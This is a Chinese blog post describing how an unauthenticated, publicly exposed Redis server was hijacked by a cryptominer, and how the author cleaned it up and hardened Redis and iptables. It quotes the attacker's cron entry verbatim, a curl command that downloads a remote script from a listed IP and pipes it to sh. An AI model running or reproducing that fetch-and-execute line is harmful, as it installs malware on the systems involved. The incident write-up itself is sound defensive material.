前言
笔者在阿里云购置了一套ECS,Linux属于入门级别,在安装了Redis的因为配置文件不当,导致被恶意挖矿程序钻了空子,成功的让我的服务器也当了回肉鸡。为了避免还有朋友 出现类似问题,在此记录本次与这个小木马斗智斗勇的过程
1.问题描述
阿里云盾告警信息,手机接收到告警信息时候一脸懵逼,我一个小小的服务器也能被攻击,只能说网络安全很重要,问题描述如下,回想了一下,redis安装后配置文件,只改了一处,就是让redis后台运行,其他配置文件都没有改动(正是因为没有改动,所以才导致以下一系列的问题)
13220279-f622ff467f470790.png
2.远程SSH连上主机定位问题
SSH连上阿里云主机,第一反应是卡顿,顿感大事不妙。表面看似毫无波澜,内心其实慌得一批。无奈Linux小白一个,只能边靠着度娘,边发挥自己的想象力,看看哪里出了问题
(1)top指令,查看系统进程,占用情况
08714dc39ec88d97784aed4327d88db.png发现异常进程,就是qW3xT.2这个进程搞得服务器cpu占用率高达百分之百,主机自然卡的不行啊。心中那个 气啊,简单粗暴先给它一个kill
kill -9 qW3xT.2(pid)
本以为搞定了,结果再次top查看进程,异常进程竟然死灰复燃了,真的是够顽固。看来还是没找到问题根源,治标不治本
(2)消灭定时任务,让主机不再重启进程
网上查阅了一翻资料后,发现原来是攻击者通过Redis无密码登录,并且我的redis.conf配置任意IP访问,这才使得攻击者有机可乘
# bind 192.168.1.100 10.0.0.1
# bind 127.0.0.1
目前全球很多主机仍然保持Redis的端口暴露在公网上,也就会引起同类型问题
攻击者首先通过侵入Redis,控制主机,利用主机下载一段脚本
curl -fsSL http://149.56.106.215:8000/i.sh | sh
该脚本正是通过定时任务在目标主机上种下恶意挖矿程序,占用cpu资源。并且当你kill掉异常进程时,还会引发定时任务监听,重启该进程,真是防不胜防。知晓其原理后,解决起来也是顺畅了许多。
[root@vayneluo redis-2.8.17]# crontab -l
curl -fsSL http://149.56.106.215:8000/i.sh | sh
[root@vayneluo redis-2.8.17]#
查看系统内确实有这个定时任务,一般是美国的IP,检查/var/spool/cron/root和/var/spool/cron/root 和 /var/spool/cron/crontabs/root ,删除crontab内容,消灭定时任务,
删除目标进程,同时为避免问题仍在,建议做以下处理
cd /tmp/
rm qW3xT.2
rm -rf ddgs.3011
touch qW3xT.2
touch ddgs.3011
chattr +i qW3xT.2
chattr +i ddgs*
3.问题解决
至此,问题得以解决。另外针对Redis的配置,也换成了除本机访问,并且指定固定IP访问Redis,如果有的同学觉得还是不够安全。还可以设置redis.conf 里requirepass字段设置密码,为你的Redis加强防御.有兴趣的同学可以尝试设置linux防火墙,配置固定IP访问
root@vayneluo redis-2.8.17]# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- localhost anywhere tcp dpt:6379
ACCEPT tcp -- 固定IP anywhere tcp dpt:6379
REJECT tcp -- anywhere anywhere tcp dpt:6379 reject-with icmp- port-unreachable
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
[root@vayneluo redis-2.8.17]#
网友评论